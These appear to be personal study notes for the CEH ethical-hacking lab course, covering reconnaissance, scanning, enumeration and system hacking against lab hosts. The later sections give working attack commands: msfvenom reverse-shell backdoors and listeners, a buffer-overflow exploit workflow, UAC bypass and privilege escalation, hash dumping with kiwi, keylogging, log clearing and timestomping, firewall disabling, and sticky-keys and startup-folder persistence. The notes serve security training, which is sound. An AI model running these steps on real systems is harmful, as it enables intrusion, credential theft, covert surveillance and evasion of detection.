Footprinting and Reconnaissance

Advanced Google Hacking Techniques

intitle:login site:eccouncil.org
EC-Council filetype:pdf ceh
other operators : cache, allinurl, inurl, allintitle, intitle, inanchor, allinanchor, link, related, info, location

Video Search Engines

https://mattw.io/youtube-metadata/
Google videos (https://www.google.com/videohp)
Yahoo videos (https://in.video.search.yahoo.com),
EZGif (https://ezgif.com)
VideoReverser.com (https://www.videoreverser.com)
TinEye Reverse Image Search (https://tineye.com),
Yahoo Image Search (https://images.search.yahoo.com)

FTP Search Engines

we will use the NAPALM FTP indexer FTP search engine
https://www.searchftps.net/
FreewareWeb FTP File Search (https://www.freewareweb.com)

IoT Search Engines

Shodan (https://www.shodan.io/)
Censys (https://censys.io)

Sub-domains using Netcraft

Netcraft
Sublist3r (https://github.com)
Pentest-Tools Find Subdomains (https://pentest-tools.com)

PeekYou Online People Search Service

PeekYou online people search service (https://www.peekyou.com)
Spokeo (https://www.spokeo.com), pipl (https://pipl.com), Intelius (https://www.intelius.com), BeenVerified (https://www.beenverified.com)

Email List using theHarvester

theHarvester -d microsoft.com -l 200 -b baidu
data sources (e.g., Baidu, bing, binaryedge, bingapi, censys, google, linkedin, twitter, virustotal, threatcrowd, crtsh, netcraft, yahoo, etc.)

Determine Target OS

Censys (https://search.censys.io/?q=)
Netcraft (https://www.netcraft.com), Shodan (https://www.shodan.io)

Employees' Information from LinkedIn

TheHarvester -d eccouncil -l 200 -b linkedin

Personal Information from Various Social Networking Sites

python3 sherlock satya nadella

Social Searcher (https://www.social-searcher.com), UserRecon (https://github.com)

Target Website using Ping Command Line Utility

Ping certifiedhacker.com -f -l 1472 (fragmnetation & packet size)

ping <IP> -i 3 (ttl value)

ping <IP> -i 4 -n 1 (ttl and life span)

Target Website using Photon

python3 photon.py -u http://www.certifiedhacker.com

python3 photon.py -u http://www.certifiedhacker.com -l 3 -t 200 –wayback

Target Website using Central Ops

Central Ops (https://centralops.net)

Website Informer (https://website.informer.com), Burp Suite (https://portswigger.net), Zaproxy (https://www.zaproxy.org)

Extract a Company's Data

Web data extractor tool – create seession and provide the target URL

ParseHub (https://www.parsehub.com), SpiderFoot (https://www.spiderfoot.net)

Mirror a Target Website

HTTrack Web Site Copier tool

Cyotek WebCopy (https://www.cyotek.com)

Wordlist from the Target Website

cewl -d 2 -m 5 https://www.certifiedhacker.com

Information about a Target by Tracing Emails

EmailTrackerPro tool

Infoga (https://github.com), Mailtrack (https://mailtrack.io)

Perform Whois Lookup using DomainTools

Whois lookup websites

SmartWhois (https://www.tamos.com), Batch IP Converter (http://www.sabsoft.com)

Gather DNS Information

http://www.kloth.net/services/nslookup.php
DNSdumpster (https://dnsdumpster.com), DNS Records (https://network-tools.com)

Perform Reverse DNS Lookup using Reverse IP Domain Check and DNSRecon

https://www.yougetsignal.com - You will get the list of domains/sites hosted on the same server as www.certifiedhacker.com

Gather Information of Subdomain and DNS Records

https://securitytrails.com
DNSChecker (https://dnschecker.org), and DNSdumpster (https://dnsdumpster.com)

Locate the Network Range

https://www.arin.net/about/welcome/region – Search with IP

Perform Network Tracerouting

Tracert or traceroute tools
VisualRoute (http://www.visualroute.com), Traceroute NG (https://www.solarwinds.com)

Footprinting a Target using Recon-ng

Marketplaces install all, workspaces create <>, modules load <>, modules search, db insert domains

Footprinting a Target using OSRFramework

domainfy -n [Domain Name] -t all
searchfy -q "target user name or profile name"
usufy - Gathers registered accounts with given usernames.
mailfy – Gathers information about email accounts
phonefy – Checks for the existence of a given series of phones
entify – Extracts entities using regular expressions from provided URLs

Footprinting a Target using BillCipher

python3 billcipher.py

Footprinting a Target using OSINT Framework

https://osintframework.com/

Recon-Dog (https://www.github.com), Grecon (https://github.com), Th3Inspector (https://github.com), Raccoon (https://github.com), Orb (https://github.com)

Scanning Networks

Perform Host Discovery

nmap -sn -PR [Target IP Address] (ARP Ping scan)
nmap -sn -PU [Target IP Address] (UDP Ping)
nmap -sn -PE [Target IP Address] (ICMP echo Ping)
nmap -sn -PP [Target IP Address] (ICMP Timestamp)
nmap -sn -PM [target IP address] (ICMP Address Mask)
nmap -sn -PS [target IP address] (TCP SYN Ping Scan)
nmap -sn -PA [target IP address] (TCP ACK Ping Scan)
nmap -sn -PO [target IP address] (IP Protocol Ping Scan)
Angry IP Scanner
SolarWinds Engineer's Toolset (https://www.solarwinds.com), NetScanTools Pro (https://www.netscantools.com), Colasoft Ping Tool (https://www.colasoft.com), Visual Ping Tester (http://www.pingtester.net), and OpUtils (https://www.manageengine.com)

Perform Port and Service Discovery using MegaPing

MegaPing
NetScanTools Pro

Perform Port Scanning

sx arp [Target subnet] (ARP scan)
sx arp [Target subnet] --json | tee arp.cache
sx tcp -p 1-65535 [Target IP address] (TCP port Scan)
sx udp --json -p [Target Port] 10.10.1.11 (UDP port scan)

Scanning Techniques

nmap -sT -v [Target IP Address] (TCP Full connect)
nmap -sS -v [Target IP Address] (Stealth Scan)
nmap -sX -v [Target IP Address] (Xmas scan)
nmap -sM -v [Target IP Address] (TCP Maimon scan)
nmap -sA -v [Target IP Address] (ACK scan)
nmap -sU -v [Target IP Address] (UDP scan)
nmap -sN -v [Target IP Address] (Null scan)
nmap -sI -v [target IP address] (IDLE/IPID Header Scan)
nmap -sY -v [target IP address] (SCTP INIT Scan)
nmap -sZ -v [target IP address] (SCTP COOKIE ECHO Scan)

hping3 -A [Target IP Address] -p 80 -c 5 (command, -A specifies setting the ACK flag, -p specifies the port to be scanned (here, 80), and -c specifies the packet count (here, 5))

hping3 -8 -p 0-100 -S [Target IP Address] -V (command, -8 specifies a scan mode, -p specifies the range of ports to be scanned (here, 0-100), and -V specifies the verbose mode)

hping3 -F -P -U [Target IP Address] -p 80 -c 5 (command, -F specifies setting the FIN flag, -P specifies setting the PUSH flag, -U specifies setting the URG flag, -c specifies the packet count (here, 5), and -p specifies the port to be scanned (here, 80))

hping3 --scan 0-100 -S [Target IP Address]

hping3 -1 [Target IP Address] -p 80 -c 5 (ICMP ping scan)

hping3 -1 [Target Subnet] --rand-dest -I eth0 (enitire subnet scan)

hping3 -2 [Target IP Address] -p 80 -c 5 (UDP scan)

Perform OS Discovery

Identify the Target

Operating System	Time To Live	TCP Window Size
Linux	64	5840
FreeBSD	64	65535
OpenBSD	255	16384
Windows	128	65,535 bytes to 1 Gigabyte
Cisco Routers	255	4128
Solaris	255	8760
AIX	255	16384

System’s OS with Time-to-Live (TTL) and TCP Window Sizes using Wireshark

nmap -A [Target IP Address]

nmap -O [Target IP Address]

nmap --script smb-os-discovery.nse [Target IP Address]

unicornscan [Target IP Address] -Iv (-Iv immediate mode and verbose)

Scan beyond IDS/Firewall

nmap -f [Target IP Address] (-f switch is used to split the IP packet into tiny fragment packets.)

nmap -g 80 [Target IP Address] (-g or --source-port option to perform source port manipulation)

nmap -mtu 8 [Target IP Address] (Using MTU, smaller packets are transmitted instead of sending one complete packet at a time.)

nmap -D RND:10 [Target IP Address] (IP Address Decoy technique)

nmap -sT -Pn --spoof-mac 0 [Target IP Address] (MAC address spoofing technique)

Create Custom Packets using Colasoft Packet Builder to Scan beyond the IDS/Firewall

Colasoft Packet Builder

Custom UDP and TCP Packets Scan beyond the IDS/Firewall

hping3 [Target IP Address] --udp --rand-source --data 500 (--udp specifies sending the UDP packets to the target host, --rand-source enables the random source mode and --data specifies the packet body size)

hping3 -S [Target IP Address] -p 80 -c 5 (-S specifies the TCP SYN request on the target machine, -p specifies assigning the port to send the traffic, and -c is the count of the packets sent to the target machine)

hping3 [Target IP Address] –flood (TCP flooding)

NetScanTools Pro (https://www.netscantools.com), Colasoft packet builder (https://www.colasoft.com)

Enumeration

Perform NetBIOS Enumeration

nbtstat -a [IP address of the remote machine] (-a displays the NetBIOS name table of a remote computer)

nbtstat -c (-c lists the contents of the NetBIOS name cache of the remote computer.)

net use (displays information about the target such as connection status, shared folder/drive and network information)

using NetBIOS Enumerator

nmap -sV -v --script nbstat.nse [Target IP Address]

nmap -sU -p 137 --script nbstat.nse [Target IP Address]

Global Network Inventory (http://www.magnetosoft.com), Advanced IP Scanner (https://www.advanced-ip-scanner.com), Hyena (https://www.systemtools.com), and Nsauditor Network Security Auditor (https://www.nsauditor.com)

SNMP Enumeration

nmap -sU -p 161 [Target IP address] (check whether snmp port is open)

snmp-check [Target IP Address]

SoftPerfect Network Scanner

Network Performance Monitor (https://www.solarwinds.com), OpUtils (https://www.manageengine.com), PRTG Network Monitor (https://www.paessler.com), and Engineer’s Toolset (https://www.solarwinds.com)

snmpwalk -v1 -c public [target IP] (–v: specifies the SNMP version number (1 or 2c or 3) and –c: sets a community string.)

snmpwalk -v2c -c public [Target IP Address]

nmap -sU -p 161 --script=snmp-sysdescr [target IP Address]

nmap -sU -p 161 --script=snmp-processes [target IP Address]

nmap -sU -p 161 --script=snmp-win32-software [target IP Address]

nmap -sU -p 161 --script=snmp-interfaces [target IP Address]

LDAP Enumeration

Active Directory Explorer (AD Explorer)

Softerra LDAP Administrator (https://www.ldapadministrator.com), LDAP Admin Tool (https://www.ldapsoft.com), LDAP Account Manager (https://www.ldap-account-manager.org), and LDAP Search (https://securityxploded.com)

Python and Nmap

nmap -sU -p 389 [Target IP address]

nmap -p 389 --script ldap-brute –script-args ldap.base='"cn=users,dc=CEH,dc=com"' [Target IP Address]

python3 -> import ldap3 -> server=ldap3.Server('[Target IP Address]', get_info=ldap3.ALL,port=[Target Port]) -> connection=ldap3.Connection(server) -> connection.bind()

server.info

connection.search(search_base='DC=CEH,DC=com',search_filter='(&(objectclass=*))',search_scope='SUBTREE', attributes='*')

connection.entries

connection.search(search_base='DC=CEH,DC=com',search_filter='(&(objectclass=person))',search_scope='SUBTREE', attributes='userpassword')

connection.entries

ldapsearch

ldapsearch is a shell-accessible interface to the ldap_search_ext(3) library call.

ldapsearch -h [Target IP Address] -x -s base namingcontexts

ldapsearch -h [Target IP Address] -x -b “DC=CEH,DC=com”

ldapsearch -x -h [Target IP Address] -b "DC=CEH,DC=com" "objectclass=*"

enum4linux

enum4linux -h (can be used to list the user accounts)

NFS Enumeration

RPCScan and SuperEnum

nmap -p 2049 [Target IP Address]

./superenum

python3 rpc-scan.py [Target IP address] –rpc

DNS Enumeration

dig ns [Target Domain]

dig @[[NameServer]] [[Target Domain]] axfr

nslookup -> set type=soa -> [domain name] -> ls -d [primary name server]

./dnsrecon.py -d [Target domain] -z (-d specifies the target domain and -z specifies that the DNSSEC zone walk be performed with standard enumeration.)

LDNS (https://www.nlnetlabs.nl), nsec3map (https://github.com), nsec3walker (https://dnscurve.org), and DNSwalk (https://github.com)

nmap --script=broadcast-dns-service-discovery [Target Domain]

nmap -T4 -p 53 --script dns-brute [Target Domain]

nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='[Target Domain]'"

SMTP Enumeration

nmap -p 25 --script=smtp-enum-users [Target IP Address]

nmap -p 25 --script=smtp-open-relay [Target IP Address]

nmap -p 25 --script=smtp-commands [Target IP Address]

RPC, SMB, and FTP Enumeration

NetScanTools Pro

Smb scanner & nix RPC Info, metasploit

nmap -p 21 [Target IP Address]

nmap -T4 -A [Target IP Address]

nmap -p [Target Port] -A [Target IP Address]

Enumeration using Various Enumeration Tools

Global Network Inventory

Advanced IP Scanner

Enumerate Information from Windows and Samba Hosts using Enum4linux

enum4linux -h

enum4linux -u martin -p apple -n [Target IP Address] (similar to nbtstat)

enum4linux -u martin -p apple -U [Target IP Address] (user list)

enum4linux -u martin -p apple -o [Target IP Address] (os info)

enum4linux -u martin -p apple -P [Target IP Address] (password policy)

enum4linux -u martin -p apple -G [Target IP Address] (group and member list)

enum4linux -u martin -p apple -S [Target IP Address] (share list)

Vulnerability Analysis

https://cwe.mitre.org/
https://cve.mitre.org/
https://nvd.nist.gov/

OpenVAS

Provide IP in Scans -> Tasks -> Wand tool

Nikto

nikto -h (Target Website) -Tuning x (-h: specifies the target host and x: specifies the Reverse Tuning Options)

nikto -h (Target Website) -Cgidirs all (-Cgidirs: scans the specified CGI directories; users can use filters such as “none” or “all” to scan all CGI directories or none)

nikto -h (Target Website) -o (File_Name) -F txt (-h: specifies the target, -o: specifies the name of the output file, and -F: specifies the file format.)

System Hacking

Active Online Attack to Crack the System’s Password using Responder

chmod +x ./Responder.py

sudo ./Responder.py -I ens3 (-I: specifies the interface (here, ens3). However, the network interface might be different in your machine, to check the interface, issue ifconfig command.)

search for the \\CEH-Tools in the victim machine to get the hashes

sudo john /home/ubuntu/Responder/logs/[Log File Name.txt]

Audit System Passwords

L0phtCrack

Requires the password of Administrator

Find Vulnerabilities on Exploit Sites

Exploit-DB

VulDB (https://vuldb.com), MITRE CVE (https://cve.mitre.org), Vulners (https://vulners.com), and CIRCL CVE Search (https://cve.circl.lu) to find target system vulnerabilities.

Exploit Client-Side Vulnerabilities and Establish a VNC Session

msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -f exe LHOST=[IP Address of Host Machine] LPORT=444 -o /home/attacker/Desktop/Test.exe

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 10.10.1.13

set LPORT 444

exploit

upload /root/PowerSploit/Privesc/PowerUp.ps1 PowerUp.ps1 (: PowerUp.ps1 is a program that enables a user to perform quick checks against a Windows machine for any privilege escalation opportunities. - target system's present working directory. (try shell command)

powershell -ExecutionPolicy Bypass -Command ". .\PowerUp.ps1;Invoke-AllChecks"

run vnc (will open a VNC session for the target machine, as shown in the screenshot. Using this session, you can see the victim's activities on the system, including the files, websites, software, and other resources the user opens or runs.)

Armitage

Armitage

Generate a payload and run in the target machine.

Compromised Host appears in Armitage tool, right click to view various exploit options

Ninja Jonin

Ninja Jonin

List

connect <index>

Buffer Overflow Attack

Re-launch both Immunity Debugger and the vulnerable server as an administrator. Now, Attach the vulnserver process to Immunity Debugger and click the Run program icon in the toolbar to run Immunity Debugger.

nc -nv 10.10.1.11 9999

create a spike template for spiking on the STATS function, type pluma stats.spk

```
s_readline();
s_string("STATS ");
s_string_variable("0")
```

generic_send_tcp 10.10.1.11 9999 stats.spk 0 0 (0 and 0 are the values of SKIPVAR and SKIPSTR)

if not vulnerable try trun.spk

type pluma trun.spk

```
s_readline();
```

s_string(“TRUN ”);

s_string_variable(“0”)

generic_send_tcp 10.10.1.11 9999 trun.spk 0 0 (0 and 0 are the values of SKIPVAR and SKIPSTR)

Spiking the TRUN function has overwritten stack registers such as EAX, ESP, EBP, and EIP. Overwriting the EIP register can allow us to gain shell access to the target system.

After identifying the buffer overflow vulnerability in the target server, we need to perform fuzzing. Fuzzing is performed to send a large amount of data to the target server so that it experiences buffer overflow and overwrites the EIP register.

chmod +x fuzz.py (from scripts folder in module 6)

./fuzz.py

Through fuzzing, we have understood that we can overwrite the EIP register with 1 to 5100 bytes of data. Now, we will use the pattern_create Ruby tool to generate random bytes of data.

Type /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <bytes+1000 of value crashed location> and press Enter.

pluma findoff.py

replace the code within inverted commas ("") in the offset variable with the copied code

chmod +x findoff.py

./findoff.py

Note down the random bytes in the EIP and find the offset of those bytes.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 11900 -q <randum byte in EIP>

run the Python script to overwrite the EIP register.

chmod +x overwrite.py

./overwrite.py (This Python script is used to check whether we can control the EIP register.)

before injecting the shellcode into the EIP register, first, we must identify bad characters that may cause issues in the shellcode

chmod +x badchars.py

./badchars.py

In Immunity Debugger, click on the ESP register value in the top-right window. Right-click on the selected ESP register value and click the Follow in Dump option.

Now, we need to identify the right module of the vulnerable server that is lacking memory protection. In Immunity Debugger, you can use scripts such as mona.py to identify modules that lack memory protection.

copy the mona.py script, and paste it in the location C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands.

Switch to the Immunity Debugger window. In the text field present at bottom of the window, type !mona modules and press Enter.

observe that there is no memory protection for the module essfunc.dll (if all flags are set to false)

type /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

The nasm command line appears; type JMP ESP and press Enter

result appears, displaying the hex code of JMP ESP

In the Immunity Debugger window, type !mona find -s “\xff\xe4” -m essfunc.dll and press Enter (note the first value)

Re-launch both Immunity Debugger and the vulnerable server as an administrator. Now,

Attach the vulnserver process to Immunity Debugger.

In the Immunity Debugger window, click the Go to address in Disassembler icon

You will be pointed to 625011af ESP; press F2 to set up a breakpoint at the selected address

type chmod +x jump.py

./jump.py

In the Immunity Debugger window, you will observe that the EIP register has been overwritten with the return address of the vulnerable module

msfvenom -p windows/shell_reverse_tcp LHOST=[Local IP Address] LPORT=[Listening Port] EXITFUNC=thread -f c -a x86 -b “\x00

Here, -p: payload, local IP address: 10.10.1.13, listening port: 4444., -f: filetype, -a: architecture, -b: bad character.

Privilege Escalation

Privilege Escalation Tools and Exploit Client-Side Vulnerabilities

msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -e x86/shikata_ga_nai -b "\x00" LHOST=10.10.1.13 -f exe > /home/attacker/Desktop/Exploit.exe

type msfconsole

Type use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 10.10.1.13

exploit -j -z

copy the BeRoot tool on the host machine (Parrot Security), and then upload the tool onto the target machine (Windows 11) using the Meterpreter session.

meterpreter session - Type upload /home/attacker/Desktop/BeRoot/beRoot.exe

shell

beRoot.exe

use GhostPack Seatbelt tool to gather host information and perform security checks to find insecurities in the target system.

upload /home/attacker/Desktop/Seatbelt.exe and press Enter

shell

Type Seatbelt.exe -group=system (gather information about AMSIProviders, AntiVirus, AppLocker etc)

Type Seatbelt.exe -group=user (gather information about ChromiumPresence, CloudCredentials, CloudSyncProviders, CredEnum, dir, DpapiMasterKeys etc)

Type Seatbelt.exe -group=misc (gather information about ChromiumBookmarks, ChromiumHistory, ExplicitLogonEvents, FileInfo etc)

Commands	Description
Seatbelt.exe -group=all	Runs all the commands
Seatbelt.exe -group=slack	Retrieves information by executing the following commands: SlackDownloads, SlackPresence, SlackWorkspaces
Seatbelt.exe -group=chromium	Retrieves information by executing the following commands: ChromiumBookmarks, ChromiumHistory, ChromiumPresence
Seatbelt.exe -group=remote	Retrieves information by executing the following commands: AMSIProviders, AntiVirus, AuditPolicyRegistry, ChromiumPresence, CloudCredentials, DNSCache, DotNet, DpapiMasterKeys, EnvironmentVariables, ExplicitLogonEvents, ExplorerRunCommands, FileZilla, Hotfixes, InterestingProcesses, KeePass, LastShutdown, LocalGroups, LocalUsers, LogonEvents, LogonSessions, LSASettings, MappedDrives, NetworkProfiles, NetworkShares, NTLMSettings, OSInfo, PoweredOnEvents, PowerShell, ProcessOwners, PSSessionSettings, PuttyHostKeys, PuttySessions, RDPSavedConnections, RDPSessions, RDPsettings, Sysmon, WindowsDefender, WindowsEventForwarding, WindowsFirewall
Seatbelt.exe <Command> [Command2] ...	Run one or more specified commands
Seatbelt.exe <Command> -full	Retrieves complete results for a command without any filtering
Seatbelt.exe <Command> -computername=COMPUTER.DOMAIN.COM [-username=DOMAIN\USER -password=PASSWORD]	Run one or more specified commands remotely
Seatbelt.exe -group=system -outputfile="C:\Temp\out.txt	Run system checks and output to a .txt file

Another method for performing privilege escalation is to bypass the user account control setting (security configuration) using an exploit, and then to escalate the privileges using the Named Pipe Impersonation technique

check our current system privileges by executing the “run post/windows/gather/smart_hashdump” meterpreter command. (execute commands (such as hashdump, which dumps the user account hashes located in the SAM file, or clearev, which clears the event logs remotely)

we shall try to escalate the privileges by issuing a getsystem command (attempts to elevate the user privileges)

getsystem -t 1 (Uses the service – Named Pipe Impersonation (In Memory/Admin) Technique)

we will bypass Windows UAC protection via the FodHelper Registry Key. It is present in Metasploit as a bypassuac_fodhelper exploit.

Type background and press Enter. This command moves the current Meterpreter session to the background.

type use exploit/windows/local/bypassuac_fodhelper

type show options

Type set SESSION 1

type set TARGET 0 (here, 0 indicates nothing, but the Exploit Target ID)

Type exploit

issuing the getuid command you will observe that the Meterpreter server is still running with normal user privileges.

Re-issue the getsystem command with the -t 1 switch to elevate privileges.

Note: In Windows OSes, named pipes provide legitimate communication between running processes. You can exploit this technique to escalate privileges on the victim system to utilize a user account with higher access privileges.

Type the command “run post/windows/gather/smart_hashdump”

You can now remotely execute commands such as “clearev” to clear the event logs that require administrative or root privileges.

Hack a Windows Machine using Metasploit and Perform Post-Exploitation using Meterpreter

Type the command msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -e x86/shikata_ga_nai -b "\x00" LHOST=10.10.1.13 -f exe > /home/attacker/Desktop/Backdoor.exe

Now, you need to share Backdoor.exe with the target machine (in This task, Windows 11).

type the command msfconsole

Type use exploit/multi/handler

Type set payload windows/meterpreter/reverse_tcp and press Enter

Type set LHOST 10.10.1.13 and press Enter

Type show options

type exploit -j -z

Type sessions -i 1 (after execution of exe)

Note: While performing post-exploitation activities, an attacker tries to access files to read their contents. Upon doing so, the MACE (modified, accessed, created, entry) attributes immediately change, which indicates to the file user or owner that someone has read or modified the information.

Note: To leave no trace of these MACE attributes, use the “timestomp” command to change the attributes as you wish after accessing a file.

To change the MACE value, type timestomp Secret.txt -m “02/11/2018 08:10:03” (-m: specifies the modified value)

Similarly, you can change the Accessed (-a), Created (-c), and Entry Modified (-e) values of a particular file.

you have successfully exploited the system, you can perform post-exploitation maneuvers such as key-logging. Type keyscan_start and press Enter to start capturing all keyboard input from the target system.

switch to the Parrot Security machine, type keyscan_dump, and press Enter. This dumps all captured keystrokes.

Type idletime (display the amount of time for which the user has been idle on the remote system.)

shell

dir /a:h (all attributes & hidden files)

Type sc queryex type=service state=all and press Enter, to list all the available services

“netsh firewall show state” (list details about specific service)

Type “wmic /node:"" product get name,version,vendor” (view the details of installed software)

Type “wmic cpu get” (retrieve the processor’s details)

Type wmic useraccount get name,sid (retrieve login names and SIDs of the users)

Type wmic os where Primary='TRUE' reboot and press Enter, to reboot the target system.

Post Exploitation	
Command	**Description**
net start or stop	Starts/stops a network service
netsh advfirewall set currentprofile state off	Turn off firewall service for current profile
netsh advfirewall set allprofiles state off	Turn off firewall service for all profiles
Post Escalating Privileges	
findstr /E ".txt" > txt.txt	Retrieves all the text files (needs privileged access)
findstr /E ".log" > log.txt	Retrieves all the log files
findstr /E ".doc" > doc.txt	Retrieves all the document files

Escalate Privileges - pkexec

Polkit or Policykit is an authorization API used by programs to elevate permissions and run processes as an elevated user.The successful exploitation of the Polkit pkexec vulnerability allows any unprivileged user to gain root privileges on the vulnerable host.

In the pkexec.c code, there are parameters that doesn’t handle the calling correctly which ends up in trying to execute environment variables as commands. Attackers can exploit this vulnerability by designing an environment variable in such a manner that it will enable pkexec to execute an arbitrary code.

Download CVE-2021-4034 exploit code from online

in CVE-2021-4034 directory type make

type ./cve-2021-4034 (priv escalated – check whoami)

Escalate Privileges - Misconfigured NFS

Ubuntu Machine – hosting NFS

type sudo apt install nfs-kernel-server

type sudo nano /etc/exports

A nano editor window appears, in the window type /home *(rw,no_root_squash) and press Ctrl+S to save it and Ctrl+x to exit the editor window. (/home *(rw,no_root_squash) entry shows that /home directory is shared and allows the root user on the client to access files and perform read/write operations. * sign denotes connection from any host machine.)

type sudo /etc/init.d/nfs-kernel-server restart

switch to Parrot Security machine and launch a terminal window.

type nmap -sV 10.10.1.9

type sudo apt-get install nfs-common

type showmount -e 10.10.1.9

mkdir /tmp/nfs

type sudo mount -t nfs 10.10.1.9:/home /tmp/nfs

Type cd /tmp/nfs

Type “sudo cp /bin/bash .”

type sudo chmod +s bash

To get the amount of free disk available type sudo df -h

Type ssh -l ubuntu 10.10.1.9

type cd /home

Type ./bash -p, to run bash in the target machine

Now we have got root privileges on the target machine, we will install nano editor in the target machine so that we can exploit root access

In the terminal, type “cp /bin/nano .”

Type chmod 4777 nano

To open the shadow file from where we can copy the hash of any user, type ./nano -p /etc/shadow

Type ps -ef and press Enter to view current processes along with their PIDs

Type find / -name "*.txt" -ls 2> /dev/null and press Enter to view all the .txt files on the system

Type route -n and press Enter to view the host/network names in numeric form.

Type find / -perm -4000 -ls 2> /dev/null and press Enter to view the SUID executable binaries.

Escalate Privileges-Bypassing UAC, Exploiting Sticky Keys

Parrot Security machine

Type the command msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.13 lport=444 -f exe > /home/attacker/Desktop/Windows.exe

share Windows.exe with the victim machine.

Type msfconsole

type use exploit/multi/handler

type set payload windows/meterpreter/reverse_tcp

set Options

background (after execution of Payload)

Type search bypassuac (In this task, we will bypass Windows UAC protection via the FodHelper Registry Key. It is present in Metasploit as a bypassuac_fodhelper exploit.)

type use exploit/windows/local/bypassuac_fodhelper

Type set session 1

Type show options

type set LHOST 10.10.1.13

type set TARGET 0 (here, 0 indicates nothing, but the Exploit Target ID)

Type exploit (The BypassUAC exploit has successfully bypassed the UAC setting on the Windows 11 machine.

)

Type getsystem -t 1 and press Enter to elevate privileges

Type use post/windows/manage/sticky_keys (In this task, we will use sticky_keys module present in Metasploit to exploit the sticky keys feature in Windows 11.)

type set session 2 to set the privileged session as the current session.

type exploit

sign into Martin account using apple as password.

Martin is a user account without any admin privileges, lock the system and from the lock screen press Shift key 5 times, this will open a command prompt on the lock screen with System privileges instead of sticky keys error window.

Escalate Privileges - Gather Hashdump

we will use Metasploit inbuilt Mimikatz module which is also known as kiwi to dump Hashes from the target machine.

Parrot Security machine.

Type the command msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.13 lport=444 -f exe > /home/attacker/Desktop/backdoor.exe

share backdoor.exe with the victim machine.

Type msfconsole

type use exploit/multi/handler and press Enter.

type set payload windows/meterpreter/reverse_tcp

Type set lhost 10.10.1.13

Type set lport 444

type run

background (after execution of payload)

n this task, we will bypass Windows UAC protection via the FodHelper Registry Key. It is present in Metasploit as a bypassuac_fodhelper exploit.

type use exploit/windows/local/bypassuac_fodhelper

Type set session 1

Type show options

type set LHOST 10.10.1.13

type set TARGET 0 (here, 0 indicates nothing, but the Exploit Target ID)

Type exploit (The BypassUAC exploit has successfully bypassed the UAC setting on the Windows 11 machine.

)

Type getsystem -t 1 and press Enter to elevate privileges

Type load kiwi in the console and press Enter to load mimikatz.

Type help kiwi and press Enter, to view all the kiwi commands.

Type lsa_dump_sam and press Enter to load NTLM Hash of all users.

To view the LSA Secrets Login hashes type lsa_dump_secrets (LSA secrets are used to manage a system's local security policy, and contain sesnsitive data such as User passwords, IE passwords, service account passwords, SQL passwords etc.)

type password_change -u Admin -n [NTLM hash of Admin acquired in previous step] -P password (here, the NTLM hash of Admin is 92937945b518814341de3f726500d4ff). (to change password of a user)

User System Monitoring and Surveillance using Power Spy

User System Monitoring and Surveillance using Spytech SpyAgent

Spytech SpyAgent

Download the tool in target machine Start Monitoring

other spyware tools such as ACTIVTrak (https://activtrak.com), Veriato Cerebral (https://www.veriato.com), NetVizor (https://www.netvizor.net), and SoftActivity Monitor (https://www.softactivity.com)

Hide Files - NTFS Streams

Now, go to the C: drive, create a New Folder, and name it magic

Navigate to the location C:\Windows\System32, copy calc.exe, and paste it to the C:\magic location.

type cmd

type notepad readme.txt (to create a new file at the C:\magic location)

type dir (note the file size of readme.txt)

type type c:\magic\calc.exe > c:\magic\readme.txt:calc.exe (hide calc.exe inside the readme.txt)

type dir (Note the file size of readme.txt, which should not change)

type mklink backdoor.exe readme.txt:calc.exe

Now, type backdoor.exe (The calculator program will execute)

Hide Data - White Space Steganography

Run in Windows cmd prompt

Type snow -C -m "My swiss bank account number is 45656684512263" -p "magic" readme.txt readme2.txt (Here, magic is the password, readme2.txt is the name of the file that will automatically be created in the same location)

Now, the data (“My Swiss bank account number is 45656684512263”) is hidden inside the readme2.txt file with the contents of readme.txt.

type snow -C -p "magic" readme2.txt

Image Steganography - OpenStego and StegOnline

OpenStego

StegOnline

https://stegonline.georgeom.net/upload

QuickStego (http://quickcrypto.com), SSuite Picsel (https://www.ssuitesoft.com), CryptaPix (https://www.briggsoft.com), and gifshuffle (http://www.darkside.com.au)

Maintain Persistence - Abusing Boot or Logon Autostart Execution

Type the command msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.13 lport=444 -f exe > /home/attacker/Desktop/exploit.exe

configure listener in msfconsole

share the payload to target

we shall try to bypass the user account control setting that is blocking you from gaining unrestricted access to the machine (see above task for similar steps- search for fodhelper)

type getsystem

type cd “C:\\ProgramData\\Start Menu\\Programs\\Startup”

Now we will create payload that needs to be uploaded into the Startup folder of Windows 11 machine.

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.13 lport=8080 -f exe > payload.exe

type upload /home/attacker/payload.exe

setup another listener using msfcosole

restart the target machine

Maintain Domain Persistence by Exploiting Active Directory Objects AdminSDHolder

users, groups, domains, and other resources from the target AD environment.

Commands	Description
Enumerating Domains	
`Get-ADDomain` `Get-NetDomain`	Retrieves information related to the current domain including their domain controllers
Enumerating Domain Policy	
`Get-DomainPolicy`	Retrieves the policy used by the current domain
Enumerating Domain Controllers	
`Get-NetDomainController`	Retrieves information related to the current domain controller
Enumerating Domain Users	
`Get-NetUser`	Retrieves information related to the current domain user
Enumerating Domain Computers	
`Get-NetComputer`	Retrieves the list of all computers existing in the current domain
Enumerating Domain Groups	
`Get-NetGroup`	Retrieves the list of all groups existing in the current domain
Enumerating Domain Shares	
`Invoke-ShareFinder -Verbose`	Retrieves shares on the hosts in the current domain
Enumerating Group Policies and OUs	
`Get-NetGPO` `Get-NetGPO| select displayname`	Retrieves the list of all the GPOs present in the current domain
Enumerating Access Control Lists (ACLs)	
`Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}`	Retrieves the users who are having modification rights for a group
Enumerating Domain Trust and Forests	
`Get-NetForest`	Retrieves the information of the current forest

Type the command msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.13 lport=444 -f exe > /home/attacker/Desktop/Exploit.exe

